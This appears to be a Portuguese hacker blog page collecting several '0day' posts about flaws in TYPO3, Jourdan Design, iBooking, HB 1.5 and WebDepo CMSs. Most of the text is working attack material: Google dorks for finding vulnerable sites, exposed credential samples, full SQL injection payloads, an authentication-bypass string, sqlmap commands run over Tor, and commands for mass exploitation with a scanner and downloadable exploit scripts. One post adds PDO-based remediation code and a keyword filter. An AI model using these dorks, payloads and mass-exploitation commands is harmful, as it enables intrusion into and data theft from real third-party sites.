Parceiro: Camisetas Hacker

Camisetas para Nerds & Hackers

Mostrando postagens com marcador 0day. Mostrar todas as postagens
Mostrando postagens com marcador 0day. Mostrar todas as postagens

quarta-feira, 14 de outubro de 2015

( 0day ) CMS Typo3 / Falha Full Info Disclosure

Continuando minhas pesquisas atrás de vulnerabilidade em CMS's, nos últimos dias estava procurando por padrões em arquivos .XML,T3D, que me pudessem trazer informações sensíveis do servidor. No procedimento de criar dork, refazer, criar um novo padrão acabei descobrindo uma falha no CMS TYPO3 que possibilita acessar arquivos XML,T3D do servidor que contenham LOGIN & SENHA da plataforma.

Continuando minhas pesquisas atrás de vulnerabilidade em CMS's, nos últimos dias estava procurando por padrões em arquivos .XML,T3D, que me pudessem trazer informações sensíveis do servidor.
No procedimento de criar dork, refazer e criar um novo padrão. acabei descobrindo uma falha no
CMS TYPO3 que possibilita acessar arquivos XML,T3D do servidor que contenham LOGIN & SENHA da plataforma.


"Não é um CMS muito usado, o artigo é somente para estudos mesmo, um desenvolvedor pode ver esse exemplo e saber o que não fazer com seus backups e ter mais cuidado com arquivos gerados pelo sistema."
"Não é um CMS muito usado, o artigo é somente para estudos mesmo. Um desenvolvedor pode ver esse exemplo e saber o que não fazer com seus backups e ter mais cuidado com arquivos gerados pelo sistema."

Observando bem os arquivos eles seguem um padrão de backup do próprio sistema, em pastas desprotegidas. O Google indexa seu conteúdo que é totalmente possível acessá-los com operadores avançados de pesquisa - (DORKS / STRINGS).
Os arquivos de senha são guardados na pasta "/fileadmin/"  alguns com uma string fixa nome "utopia"  e sua extensão é ".t3d.xml" ou .t3d


INFORMAÇÕES:

#  ----------------------------------------------------------
#[+]  Type:         Full Info Disclosure  
#[+]  Vendor:       https://typo3.org/typo3-cms/
#[+]  VULNERABLE VERSIONS:  4.2, 4.5
#  ----------------------------------------------------------

#[+]  AUTOR:        googleINURL
#[+]  EMAIL:        [email protected]
#[+]  Blog:         http://blog.inurl.com.br
#[+]  Twitter:      https://twitter.com/googleinurl
#[+]  Fanpage:      https://fb.com/InurlBrasil
#[+]  Pastebin      http://pastebin.com/u/Googleinurl
#[+]  GIT:          https://github.com/googleinurl
#[+]  PSS:          http://packetstormsecurity.com/user/googleinurl
#[+]  YOUTUBE:      http://youtube.com/c/INURLBrasil
#[+]  PLUS:         http://google.com/+INURLBrasil
#[+]  IRC:          irc.pŕiv8.jp / #inurlbrasil

 DORKS DE PESQUISA:
  1. /fileadmin/utopia ext:xml
  2. /fileadmin/utopia*.t3d.xml
  3. site:fr /fileadmin/utopia ext:xml
  4. "utopia" inurl:t3d ext:xml
  5. /fileadmin/  typo3 ext:t3d
POC ARQUIVO .XML:

http://{server}/fileadmin/utopia{random}.t3d.xml
http://{server}/subdir/fileadmin/utopia{random}.t3d.xml
Ex:
http://vull.fr/fileadmin/utopia4cb2c07e326f4.t3d.xml
http://vull.fr/subdir/subdir2_/fileadmin/utopia506c4cd063fa0.t3d.xml

Exemplo Conteúdo arquivo:

POC ARQUIVO .T3D:

http://{server}/fileadmin/*.t3d
http://{server}/fileadmin/archives_site/*.t3d
http://{server}/subdir/fileadmin/*.t3d
Ex:
http://vull.fr/fileadmin/archives_site/utopia_Inscription%20lilas%20autopartage.t3d
http://vull.fr/subdir/fileadmin/archives_site/utopia_autotao.t3d

Exemplo Conteúdo arquivo:
s:11:"admin_xxxx";s:5:"email";s:26:"[email protected]";s:8:"username";s:10:"adminxxx";s:8:"password";s:10:"adminlilas";s:7:"origUid";a:2:{i:0;s:2:"10";i:1;s:14:"Administrateur";}}}}i:3;a:1:{s:8:"fe_users";a:1:{i:100;a:4:{s:4:"name";s:10:"user_xxx";s:5:"email";s:26:"[email protected]";s:8:"username";s:9:"userxxx";s:8:"password";s:32:"dcd9e367d292b7019fab159ab8c8c26a";}}}i:4;a:1:{s:17:"tx_icsutopia_site";a:1:{i:1;a:4:{s:6:"level0";s:2:"72";s:6:"level1";s:2:"73";s:6:"level2";s:3:"232";s:10:"base_model";s:9:"72,73,232";}}}}s:3:"t3d";s:43:"/www/html/typo3temp/utopia519e1b3d6c76b.t3d";}}s:15:"relStaticTables";a:1

Pesquisa em massa usando SCANNER INURLBR.
Download: https://github.com/googleinurl/SCANNER-INURLBR
Comando:
php inurlbr.php --dork '/fileadmin/utopia*.t3d.xml' -s t3d.txt -t  2 -a '<username>'
Resultado:
Solução ? Faça upgrade do CMS e Configure adequadamente as permissões de arquivos e pastas do se servidor.

quarta-feira, 30 de setembro de 2015

( 0day ) - CMS Jourdan Design - SQL INJECTION

Bom continua minhas pesquisas com ( CMS's ) brasileiros, esbarrei nas minhas "Googladas" com o CMS da empresa Jourdan Design.
Que o mesmo apresenta falhas graves de injeção SQL, via request POST & GET.
Como não achei código fonte, ou padrão de outros cms's deduzi que eles usam uma aplicação priv8.

Vamos aos fatos....
Em uma pequena e rápida analise é possível constatar MÚLTIPLAS VULNERABILIDADES:

INFORMAÇÕES:

[+] FORNECEDOR:            http://www.jourdandesign.com.br
[+] VERSÕES VULNERÁVEIS:   (NÃO IDENTIFICADO)
[+] ARQUIVO:               VIA POST: newsletter_done.php, pesquisa_done.php
                           VIA GET : nossa_historia_texto.php
[+] DORK:                  "by Jourdan Design" "news_not_pk"
[+] REPORTADO:             30/09/2015

Senhoras e Senhores que estão lendo esse humilde artigo, não quero falar que isso é uma falha grande
E que vai afetar milhões de pessoas ... pois não vai, essa "plataforma" ou emaranhado de códigos
não filtrados afeta no máximo seus usuários/clientes, mas o grande intuito é mostrar filtros com PDO..
e filtros desprotegidos e algumas boas condutas.

( Todo desenv sabe || deveria saber ) que sistemas quando vão para produção tem que está como seus erros tratados, pelo menos deveriam certo (?!).
Quase toda aplicação que é invadida via SQL - INJECTION é devido seus erros não tratados no server side, muitas vezes são ownadas por 'BOTS', sim bots. que ao identificar esse erro de Syntax SQL já começa injetar comandos par extração de informações.

MAS SÓ TRATAR OS ERROS DA MINHA APLICAÇÃO JÁ ME DEIXA SEGURO ?
A resposta é NÃO!
MAS SÓ TRATAR OS ERROS DA MINHA APLICAÇÃO JÁ ME DEIXA SEGURO ? A resposta é NÃO!


Apesar de ser informações básicas tanto pequenas quanto grande empresas incluindo governos ainda sofrem com isso.

Vamos aos BUGS da Jourdandesign
Demonstrarei somente um.

ARQUIVO:
newsletter_done.php
REQUEST POST:
nome=bypass&[email protected]&Submit3=cadastrar

POC:
http://www.vul.com.br/newsletter_done.php?nome=bypass+{SQL_INJECTION_BLIND}&[email protected]+{SQL_INJECTION_BLIND}&Submit3=cadastrar


GERANDO ERRO PASSANDO CARACTERES MALICIOSOS

GERANDO ERRO PASSANDO CARACTERES MALICIOSOS

ERRO EXPOSTO:
ERRO EXPOSTO:

Pelos campos passados podemos perceber que tais parâmetros fazem parte da newsletter do "CMS", mas manipulando tais valores, saindo da validação javascript podemos bypassar.
Dica: sempre validar dados no lado servidor, seja ele vindo de clientes logados ou não.
          Se o request é feito pelo usurário, não confie no Request filtre.

EXPLORAÇÃO VIA SQLMAP:
COMANDO:
sqlmap -u 'http://www.vull.com.br/newsletter_done.php' --data "nome=bypass&email=123#2*@aduneb.com.br#1*&Submit3=cadastrar" -p nome --random-agent --level 3 --risk 2  --tor --tor-type=SOCKS5 --dbs --thread 5

PRINT:


PRINT EXPLORAÇÃO VIA SQLMAP:


RETURN SQLMAP DEBUG PAYLOAD:

Parameter: #1* ((custom) POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: nome=bypass&email=-7840') OR 1946=1946#@aduneb.com.br#1&Submit3=cadastrar

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT - comment)
    Payload: nome=bypass&email=123#2') AND (SELECT * FROM (SELECT(SLEEP(10)))Vxmq)#@aduneb.com.br#1&Submit3=cadastrar

Parameter: #2* ((custom) POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: nome=bypass&email=-1051') OR 5045=5045#&Submit3=cadastrar

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT - comment)
    Payload: nome=bypass&email=123#[email protected]#1') AND (SELECT * FROM (SELECT(SLEEP(10)))tdlq)#&Submit3=cadastrar


CÓDIGO:
Um exemplo de como pode está o código do arquivo newsletter_done.php

<?php

$servername = "localhost";
$username = "username";
$password = "password";
$dbname = "myDB";



$nome  = $_POST['nome'];
$email = $_POST['email'];


// Create connection
$conn = new mysqli($servername, $username, $password, $dbname);
// Check connection
if ($conn->connect_error) {
    die("Connection failed: " . $conn->connect_error);
} 

$sql = "INSERT INTO newsletter (nome, email)
VALUES ('{$nome}', '{$email}')";
if ($conn->query($sql) === TRUE) {
    echo "EMAIL CADASTRADO COM SUCESSO!";
} else {
    echo "Error: " . $sql . "<br>" . $conn->error;
}

$conn->close();

?>


Sem  nem um tipo de filtro no request POST os valores são  setados direto nas variáveis da aplicação.

NÃO FAÇA ISSO NUNCA!

  1. USE PDO!
  2. PDO É VIDA CARA!
  3. USE FILTROS!
  4. ISSO SALVA VIDAS!


Um simples exemplo usando PDO e filtros:

CÓDIGO:

<?php

$servername = "localhost";
$username = "username";
$password = "password";
$dbname = "myDB";


// VALIDANDO $_POST SE CAMPOS EXISTEM
$nome = is_set($_POST['nome'])   ? $_POST['nome'] : exit('<p>FALTA campo nome!</p>');

$email = is_set($_POST['email']) ? $_POST['email'] : exit('<p>FALTA campo email!</p>');


// FILTRANDO CAMPOS POST
$nome =  is_name($nome)   ? $nome  : exit('<p>NOME invalido!</p>');
$email = is_email($email) ? $email : exit('<p>Email invalido!</p>');

// INICIANDO CONEXÃO



try {
$dbh = new PDO("mysql:host={$servername};dbname={$dbname}",$username,$password);
  

$stmt=$dbh->prepare("INSERT INTO newsletter (nome, email) VALUES (:nome, :email)");
$stmt->bindParam(':nome' , $nome);
$stmt->bindParam(':email', $email);
$stmt->execute();

$dbh = null;
} catch (PDOException $e) {
    print "<p>Error!: SQL/INSERT - 0001</p>";
    die();
}
// REF CÓDIGO: 
// http://php.net/manual/pt_BR/pdo.prepared-statements.php
// http://php.net/manual/en/pdo.prepare.php



//FUNCTION VALIDANDO SE VALORES PASSADOS EXISTEM
function is_set($value) {

    return isset($value) && !empty($value) ? TRUE : FALSE;
}
// REF CÓDIGO:
// http://php.net/manual/en/function.isset.php
// http://php.net/manual/en/function.empty.php


// FUNCTION FILTRANDO CARACTERES E VALIDANDO SE É EMAIL
function is_email($email){

// Remove all illegal characters from email
$email = filter_var($email, FILTER_SANITIZE_EMAIL);

// Validate e-mail
return (!filter_var($email, FILTER_VALIDATE_EMAIL) === false) ? true : false;
}
// REF CÓDIGO: 
// http://php.net/manual/en/filter.filters.sanitize.php 
// http://www.w3schools.com/php/filter_validate_email.asp
// http://bobby-tables.com/php.html 
 

// FUNCTION FILTRANDO E VALIDANDO NOME
// MODELO PARANOICO
function is_name($name) { 
 

// FILTRO POSSÍVEIS CARACTERES DE INJEÇÃO       
foreach (array('0X', 'DROP', ';','--','UNION','CONCAT(','TABLE_','INFORMATION_',"'",'"') as $value) {
$name = !strstr(strtoupper($name), $value) ? $name : FALSE;
            
}
// FILTRO POSSÍVEIS CARACTERES DE INJEÇÃO + HTML         
$name = (filter_var(stripslashes(strip_tags(trim($name))), FILTER_SANITIZE_STRING));
 return $name;
}

  
?>


É um pequeno código simples com mais segurança, seguindo as seguintes dicas:


  • VALIDAR EXISTÊNCIA DO REQUEST
  • FILTRAR CAMPOS
  • USAR PDO EM TODA E QUALQUER SELECT,UPDATE,DELETE,INSERT
  • - SE POSSÍVEL 
  •        VALIDAR O TIPO DE VARIÁVEL
           VALIDAR TAMANHO MAXIMO CAMPOS / INPUT HTML
           VALIDAR TAMANHO MAXIMO CAMPOS / INPUT JAVASCRIPT
  • ANTES DE GERAR O REQUEST DESNECESSÁRIO AO SERVIDOR
  • REGRA PRINCIPAL NÃO CONFIE NO CLIENTE.


  • ÚLTIMA REGRA
    SIGA TODAS REGRAS ACIMA.



terça-feira, 15 de setembro de 2015

( 0day ) IBOOKING CMS - INJEÇÃO DE SQL e Exploração em massa



IBOOKING CMS é um sistema voltado pro ramo de hotelaria, gerenciamento de reservas.
Como próprio site do desenvolvedor diz:

Motor de Reservas: Com o nosso motor de reservas você pode vender as diárias do seu hotel diretamente no seu site e sem precisar pagar comissão. Uma forma eficaz de ampliar sua lucratividade e interagir com o cliente desde o momento da compra.

Tal sistema tem uma falha grave de Injeção SQL, explorada via request GET no parâmetro idPousada do arquivo filtro_faixa_etaria.php dentro da pasta ou URL dinâmica /motor-de-reservas/. INFORMAÇÕES: 

[+] FORNECEDOR: WWW.ibooking.com.br
[+] VERSÕES VULNERÁVEIS: TODAS [+] ARQUIVO: filtro_faixa_etaria.php [+] PASTA OU URL DINÂMICA: /motor-de-reservas [+] PARÂMETRO:  idPousada(GET)
[+] DORK: intext:"Desenvolvido por ibooking" [+] REPORTADO: 15/10/2015

A request vulneravel é feito através de uma function javascript encontrada dentro de /motor-de-reservas

Código:
jQuery(function($){        
   $("#quartos").change(function() {
     var qtde_quartos = $(this).val(); 
     $.ajax({ 
       type: "GET", 
       url: "filtro_faixa_etaria.php", 
       data: "qtde_quartos="+qtde_quartos+"&idPousada=61", 
       success: function(xml){ 
        $("#filtro_faixa_etaria").html(xml);
       } 
     }); 
  }); 
  
  $.ajax({ 
    type: "GET", 
    url: "filtro_faixa_etaria.php", 
    data: "qtde_quartos=1&idPousada=61", 
    success: function(xml){ 
      $("#filtro_faixa_etaria").html(xml);
    } 
  }); 
  
   
 });


URL Vulnerável:

http://www.TARGET.br/motor-de-reservas/filtro_faixa_etaria.php?qtde_quartos=3&idPousada=61

POC:

http://www.TARGET.br/motor-de-reservas/filtro_faixa_etaria.php?qtde_quartos=3&idPousada=61+(INJEÇÃO_SQL) Exemplo:

http://www.TARGET.br/motor-de-reservas/filtro_faixa_etaria.php?qtde_quartos=3&idPousada=61+AND+(SELECT+2692+FROM(SELECT+COUNT(*),CONCAT(0x203a3a494e55524c42525f56554c4e3a3a20,(SELECT+(concat(@@GLOBAL.VERSION,0x20,@@GLOBAL.version_compile_os,0x20,@@GLOBAL.version_compile_machine))),0x203a3a494e55524c42525f56554c4e3a3a20,FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.CHARACTER_SETS+GROUP+BY+x)a)

Detalhes na injeção SQL é usado FUNCTIONS básicas de injeção, mas seu diferencial é uso de variáveis Globais do MySQL.

@@GLOBAL.version = VERSÃO BANCO DE DADOS MYSQL
@@GLOBAL.version_compile_os = SERVIDOR COMPILADO
@@GLOBAL.version_compile_machine = TIPO DE ARQUITETURA  DO SERVIDOR

Também passo a string ::INURLBR_VULN:: no formato hexadecimal, para assim posteriormente validar se a injeção ocorreu como esperado.
0x203a3a494e55524c42525f56554c4e3a3a20 = ::INURLBR_VULN::

Print saída da injeção:
Detalhes na injeção SQL é usado FUNCTIONS básicas de injeção, mas seu diferencial é uso de variáveis Globais do MySQL.  @@GLOBAL.version = VERSÃO BANCO DE DADOS MYSQL @@GLOBAL.version_compile_os = SERVIDOR COMPILADO @@GLOBAL.version_compile_machine = TIPO DE ARQUITETURA  DO SERVIDOR  Também passo a string ::INURLBR_VULN:: no formato hexadecimal, para assim posteriormente validar se a injeção ocorreu como esperado. 0x203a3a494e55524c42525f56554c4e3a3a20 = ::INURLBR_VULN::  Print saída da injeção:


Exploração em massa usando scanner INURLBR
Baixar: https://github.com/googleinurl/SCANNER-INURLBR

Montando comando:

SETANDO DORK DE PESQUISA
--dork 'YOU_DORK'
- USE --dork 'intext:"Desenvolvido por ibooking"'

SETANDO ARQUIVO DE SAÍDA:
- USE: -s 'ibooking.txt'

SETANDO STRING EXPLOIT GET
--exploit-get 'EXPLOIT_GET'
- USE--exploit-get '/motor-de-reservas/filtro_faixa_etaria.php?qtde_quartos=3&idPousada=61+AND+(SELECT+2692+FROM(SELECT+COUNT(*),CONCAT(0x203a3a494e55524c42525f56554c4e3a3a20,(SELECT+(concat(@@GLOBAL.VERSION,0x20,@@GLOBAL.version_compile_os,0x20,@@GLOBAL.version_compile_machine))),0x203a3a494e55524c42525f56554c4e3a3a20,FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.CHARACTER_SETS+GROUP+BY+x)a)'

SETANDO TIPO DE VALIDAÇÃO: 
- USE: -t 3 
3 O terceiro tipo tenta válido o erro definido por: -a 'VALUE_INSIDE_THE _target " mais as validações padrões do scanner, o diferencial é que  --exploit-get é injetado direto na url:
Exemplo: --exploit-get '/index.php?id=1&file=conect.php'INJEÇÃO URL: http://www.target.br/index.php?id=1&file=conect.php

SETANDO STRING DE VALIDAÇÃO:
Especifique a string que será usada como validação no script:
Exemplo:  -a {string}
Usando:    -a '<title>hello world</title>'
Se o valor específico é encontrado no alvo, ele é considerado vulnerável.
- USE:     -a 'INURLBR_VULN'
O valor INURLBR_VULN é passado no formato hexadecimal na string exploit-get

COMANDO COMPLETO:

php inurlbr.php --dork 'intext:"Desenvolvido por ibooking"' -s 'ibooking.txt' --exploit-get '/motor-de-reservas/filtro_faixa_etaria.php?qtde_quartos=3&idPousada=61+AND+(SELECT+2692+FROM(SELECT+COUNT(*),CONCAT(0x203a3a494e55524c42525f56554c4e3a3a20,(SELECT+(concat(@@GLOBAL.VERSION,0x20,@@GLOBAL.version_compile_os,0x20,@@GLOBAL.version_compile_machine))),0x203a3a494e55524c42525f56554c4e3a3a20,FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.CHARACTER_SETS+GROUP+BY+x)a)' -t-a 'INURLBR_VULN'

Print saída:

Montando comando:  SETANDO DORK DE PESQUISA --dork 'YOU_DORK' - USE --dork 'intext:"Desenvolvido por ibooking"'  SETANDO ARQUIVO DE SAÍDA: - USE: -s 'ibooking.txt'  SETANDO STRING EXPLOIT GET --exploit-get 'EXPLOIT_GET' - USE: --exploit-get '/motor-de-reservas/filtro_faixa_etaria.php?qtde_quartos=3&idPousada=61+AND+(SELECT+2692+FROM(SELECT+COUNT(*),CONCAT(0x203a3a494e55524c42525f56554c4e3a3a20,(SELECT+(concat(@@GLOBAL.VERSION,0x20,@@GLOBAL.version_compile_os,0x20,@@GLOBAL.version_compile_machine))),0x203a3a494e55524c42525f56554c4e3a3a20,FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.CHARACTER_SETS+GROUP+BY+x)a)'  SETANDO TIPO DE VALIDAÇÃO:  - USE: -t 3  3 O segundo tipo tenta válido o erro definido por: -a 'VALUE_INSIDE_THE _target " o parametro get setando no comando --exploit-get é injetado direto na url: Exemplo: --exploit-get '/index.php?id=1&file=conect.php' INJEÇÃO URL: http://www.target.br/index.php?id=1&file=conect.php  SETANDO STRING DE VALIDAÇÃO: Especifique a string que será usada como validação no script: Exemplo:  -a {string} Usando:    -a '<title>hello world</title>' Se o valor específico é encontrado no alvo, ele é considerado vulnerável. - USE:     -a 'INURLBR_VULN'  COMANDO COMPLETO:  php inurlbr.php --dork 'intext:"Desenvolvido por ibooking"' -s 'ibooking.txt' --exploit-get '/motor-de-reservas/filtro_faixa_etaria.php?qtde_quartos=3&idPousada=61+AND+(SELECT+2692+FROM(SELECT+COUNT(*),CONCAT(0x203a3a494e55524c42525f56554c4e3a3a20,(SELECT+(concat(@@GLOBAL.VERSION,0x20,@@GLOBAL.version_compile_os,0x20,@@GLOBAL.version_compile_machine))),0x203a3a494e55524c42525f56554c4e3a3a20,FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.CHARACTER_SETS+GROUP+BY+x)a)' -t 3 -a 'INURLBR_VULN'  Print saída:


EXPLORANDO VIA SQLMAP:

python sqlmap.py -u 'http://ww.target.br/motor-de-reservas/filtro_faixa_etaria.php?qtde_quartos=1&idPousada=61' --dbs --random-agent --tor --tor-type=SOCKS5 -p idPousada --answers='follow=N,union-char=Y,time-sec=10,level=3,risk=2,dbms=MySQL,testing=Y,WAF/IPS/IDS=Y,check=Y'



EXPLORANDO INURLBR + SQLMAP:
Usando parâmetro da ferramenta inurlbr --command-vul, vai executar comando sqlmap quando constatar uma possível vulnerabilidade de acordo com as informações passadas.

php inurlbr.php --dork 'intext:"Desenvolvido por ibooking"' -s 'ibooking.txt' --exploit-get '/motor-de-reservas/filtro_faixa_etaria.php?qtde_quartos=3&idPousada=61+AND+(SELECT+2692+FROM(SELECT+COUNT(*),CONCAT(0x203a3a494e55524c42525f56554c4e3a3a20,(SELECT+(concat(@@GLOBAL.VERSION,0x20,@@GLOBAL.version_compile_os,0x20,@@GLOBAL.version_compile_machine))),0x203a3a494e55524c42525f56554c4e3a3a20,FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.CHARACTER_SETS+GROUP+BY+x)a)' -t 3 -a 'INURLBR_VULN' --command-vul "python sqlmap -u 'http://_TARGET_/motor-de-reservas/filtro_faixa_etaria.php?qtde_quartos=1&idPousada=61' --dbs --random-agent --tor --tor-type=SOCKS5 -p idPousada --answers='follow=N,union-char=Y,time-sec=2,level=3,risk=2,dbms=MySQL,technique=BEUS,testing=Y,WAF/IPS/IDS=Y,check=Y' --flush-session"

Print saída: 
  EXPLORANDO INURLBR + SQLMAP: Usando parâmetro da ferramenta inurlbr --command-vul, vai executar comando sqlmap quando constatar uma possível vulnerabilidade de acordo com as informações passadas.  php inurlbr.php --dork 'intext:"Desenvolvido por ibooking"' -s 'ibooking.txt' --exploit-get '/motor-de-reservas/filtro_faixa_etaria.php?qtde_quartos=3&idPousada=61+AND+(SELECT+2692+FROM(SELECT+COUNT(*),CONCAT(0x203a3a494e55524c42525f56554c4e3a3a20,(SELECT+(concat(@@GLOBAL.VERSION,0x20,@@GLOBAL.version_compile_os,0x20,@@GLOBAL.version_compile_machine))),0x203a3a494e55524c42525f56554c4e3a3a20,FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.CHARACTER_SETS+GROUP+BY+x)a)' -t 3 -a 'INURLBR_VULN' --command-vul "python sqlmap -u 'http://_TARGET_/motor-de-reservas/filtro_faixa_etaria.php?qtde_quartos=1&idPousada=61' --dbs --random-agent --tor --tor-type=SOCKS5 -p idPousada --answers='follow=N,union-char=Y,time-sec=2,level=3,risk=2,dbms=MySQL,technique=BEUS,testing=Y,WAF/IPS/IDS=Y,check=Y' --flush-session"



Use Prepares  statement sem moderação:
http://php.net/manual/pt_BR/pdo.prepare.php

Filtro de request seja POST ou GET:

O arquivo aparecendo ou não para o cliente, ele pode ser vulnerável do mesmo jeito.


Outra falha que foi encontrada no sistema semana passada de titulo:
(0day) IBOOKING CMS - LOCAL FILE DISCLOSURE VULNERABILITY
Encontrada por: Pablo Verlly Moreira, que já foi reportada e corrigida pelo admin, mas sem nem um agradecimento por parte da equipe.

https://ghostbin.com/paste/e99uz

Referencias:

domingo, 17 de maio de 2015

Exploit 0day CMS HB 1.5


0day - Exploit php explora SQL INJECTION via( GET/POST) em CMS brasileiro HB feito pela empresa "Agência HB Web e Cia".

0day - Exploit php explora SQL INJECTION via( GET/POST) em CMS brasileiro HB feito pela empresa "Agência HB Web e Cia".


[+] Discoverer Author: M3t4tr0n
[+] FACEBOOK: https://www.facebook.com/M3T4TR0N
[+] EMAIL: [email protected]
[*] Thanks M3t4tr0n

# SCRIPT by: [ I N U R L-B R A S I L ] - [ By GoogleINURL ]
# EXPLOIT NAME: XPL 0day CMS HB 1.5 / INURL BRASIL
# AUTOR: Cleiton Pinheiro / Nick: googleINURL
# Email: [email protected]
# Blog: http://blog.inurl.com.br
# Twitter: https://twitter.com/googleinurl
# Fanpage: https://fb.com/InurlBrasil
# Pastebin http://pastebin.com/u/Googleinurl
# GIT: https://github.com/googleinurl
# PSS: http://packetstormsecurity.com/user/googleinurl
# EA:http://exploit4arab.net/author/248/Cleiton_Pinheiro
# YOUTUBE: http://youtube.com/c/INURLBrasil
# PLUS: http://google.com/+INURLBrasil

Neither war between hackers, nor peace for the system.
------------------------------------------------------------------------------

[ + ] FAILURE REPORTED:
15/maio/2015

[ + ] Type:
ADMINISTRATIVE ACCESS PANEL

[ + ] Vendor:
http://www.hbwebecia.com.br/

[ + ] Version: 
HB 1.5

[ + ] Google Dork:
inurl:"base.php?pagina"

[ + ] FILE VULN:
/admin/logar.php

[ + ] POC:
(POST) http://{YOU_URL}/admin/logar.php?login='=' 'or'&senha='=' 'or'&Submit3=Entrar

[ + ] FILE VULN:
/base.php

[ + ] POC:
(GET) http://{YOU_URL}/base.php?pagina=noticia&id=1 + (SQLI)

[ + ] Exploração SQLMAP output:
# Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: pagina=noticia&id=114' AND 1866=1866 AND 'qvCe'='qvCe

# Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: pagina=noticia&id=114' AND (SELECT * FROM (SELECT(SLEEP(5)))MPQc) AND 'MJVC'='MJVC

# Type: UNION query
Title: Generic UNION query (NULL) - 7 columns
Payload: pagina=noticia&id=114' UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x716a786b71,0x664a78565a7276576e76,0x71787a7871),NULL,NULL--

[ + ] USE SQLMAP:
./sqlmap.py -u 'http://{YOU_URL}/base.php?pagina=noticia&id=1'
--dbs --random-agent --level 3 --risk 2--proxy 'http://localhost:8118' 
--dbms='MySQL' --threads 3 --time-sec 10 --identify-waf --text-only 
--flush-session --batch

[ + ] EXECUTE: 
php xpl.php -t http://target.us

[ + ] FILE_OUTPUT :
HB.txt

PRINT OUTPUT:
[ + ] EXECUTE:  php xpl.php -t http://target.us

[ + ] Exploit: 
http://www.exploit4arab.net/exploits/1505 / http://pastebin.com/AY6sMthP

[ + ] EXPLOIT MASS USE SCANNER INURLBR:
php inurlbr.php --dork 'inurl:base.php?pagina" ext:php' -s output.txt --command-all 'php xpl.php -t _TARGET_'

PRINT OUTPUT:
[ + ] EXPLOIT MASS USE SCANNER INURLBR: php inurlbr.php --dork 'inurl:base.php?pagina" ext:php' -s output.txt--command-all 'php xpl.php -t _TARGET_'  PRINT OUTPUT:

More details about inurlbr scanner: https://github.com/googleinurl/SCANNER-INURLBR

sexta-feira, 27 de março de 2015

(0DAY) WebDepo - SQL injection

EXPLOIT NAME: MINI exploit-SQLMAP - (0DAY) WebDepo -SQL injection / INURL BRASIL

Nas minhas pesquisas na web, sobre file_upload descobre um CMS da empresa israelense WebDepo, o mesmo possui falha de file_upload sem autenticação, mas analisando seus GETS pude observar que também tem falhas SQLi em seus parâmetros GET.

AUTOR:       GoogleINURL
Blog:             http://blog.inurl.com.br
Twitter:         https://twitter.com/googleinurl
Fanpage:       https://fb.com/InurlBrasil
Pastebin:       http://pastebin.com/u/Googleinurl
GIT:              https://github.com/googleinurl
PSS:              http://packetstormsecurity.com/user/googleinurl
YOUTUBE:  http://youtube.com/c/INURLBrasil
PLUS:           http://google.com/+INURLBrasil



VENTOR:         http://www.webdepot.co.il
GET VULN:     wood=(id) / $wood=intval($_REQUEST['wood'])
  -----------------------------------------------------------------------------

DBMS: 'MySQL'
Exploit:      +AND+(SELECT 8880 FROM(SELECT COUNT(*),CONCAT(0x496e75726c42726173696c,0x3a3a,version(),(SELECT (CASE WHEN (8880=8880) THEN 1 ELSE 0 END)),0x717a727a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

DBMS: 'Microsoft Access'
Exploit:      +UNION+ALL+SELECT+NULL,NULL,NULL,CHR(113)&CHR(112)&CHR(120)&CHR(112)&CHR(113)&CHR(85)&CHR(116)&CHR(106)&CHR(110)&CHR(108)&CHR(90)&CHR(74)&CHR(113)&CHR(88)&CHR(116)&CHR(113)&CHR(118)&CHR(111)&CHR(100)&CHR(113),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM MSysAccessObjects%16
  -----------------------------------------------------------------------------

http://target.us/text.asp?wood=(id)+Exploit

GOOGLE DORK:   inurl:"text.asp?wood="
GOOGLE DORK:   site:il inurl:"text.asp?wood="
GOOGLE DORK:   site:com inurl:"text.asp?wood="  

Exploit:

Execute exploit:
--help:
  -t : SET TARGET.
  -f : SET FILE TARGETS.
  -p : SET PROXY
  Execute:
  php WebDepoxpl.php -t target
  php WebDepoxpl.php -f targets.txt
  php WebDepoxpl.php -t target -p 'http://localhost:9090'

DOWNLOAD Exploit: http://pastebin.com/b6bWuw7k
  -----------------------------------------------------------------------------

EXPLOIT MASS USE SCANNER INURLBR
COMMAND: ./inurlbr.php --dork 'site:il inurl:text.asp?wood= ' -s 0dayWebDepo.txt -q 1,6 --exploit-get "?´'0x27" --command-all "php 0dayWebDepo.php -t '_TARGET_'"


EXPLOIT MASS USE SCANNER INURLBR COMMAND: ./inurlbr.php --dork 'site:il inurl:text.asp?wood= ' -s 0dayWebDepo.txt -q 1,6 --exploit-get "?´'0x27" --comand-all "php 0dayWebDepo.php -t '_TARGET_'"

DOWNLOAD INURLBR: https://github.com/googleinurl/SCANNER-INURLBR

VÍDEO 
  -----------------------------------------------------------------------------

A segunda falha:
Exploit fckeditor 2015
Vídeo: https://www.youtube.com/watch?v=2g1xxkMVgPk  
GOOGLE DORK: inurl:"/text.asp?wood=" site:il
Exploit: -admin/fckeditor/editor/filemanager/brow­ser/default/browser.html?Connector=conne­ctors/asp/connector.asp

A segunda falha: Exploit fckeditor 2015  GOOGLE DORK: inurl:"/text.asp?wood=" site:il Exploit: -admin/fckeditor/editor/filemanager/brow­ser/default/browser.html?Connector=conne­ctors/asp/connector.asp

POC:
